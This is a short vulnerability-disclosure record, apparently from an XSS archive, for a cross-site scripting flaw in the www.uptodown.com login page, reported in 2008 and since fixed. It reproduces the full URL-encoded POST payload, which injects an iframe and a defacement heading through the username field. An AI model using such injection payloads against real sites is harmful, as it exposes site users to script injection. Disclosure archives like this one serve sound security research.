Security researcher C1c4Tr1Z, has submitted on 04/05/2008 a cross-site-scripting (XSS) vulnerability affecting www.uptodown.com, which at the time of submission ranked 939 on the web according to Alexa.
We manually validated and published a mirror of this vulnerability on 12/05/2008. It is currently fixed. |
Date submitted: 04/05/2008 |
Date published: 12/05/2008 |
Date fixed: 23/05/2008 | Status: FIXED |
Author: C1c4Tr1Z |
Domain: www.uptodown.com |
Category: XSS |
Pagerank: 939 |
URL: http://www.uptodown.com/usuarios/dologin/ |
POST: vb_login_username=%3Ccenter%3E%3Cbr%3E%3Cbr%3E%3Ciframe+src%3Dhttp%3A%2F%2Fxssed.com%3E%3C%2Fiframe% 3E%3Cbr%3E%3Cbr%3E%3Ch1%3EXSS+by+C1c4Tr1Z%21%3C%2Fh1%3E&vb_login_password=&s=&do=login&vb_login_md5p assword=&vb_login_md5password_utf= |
Click here to view the mirror
|
|
|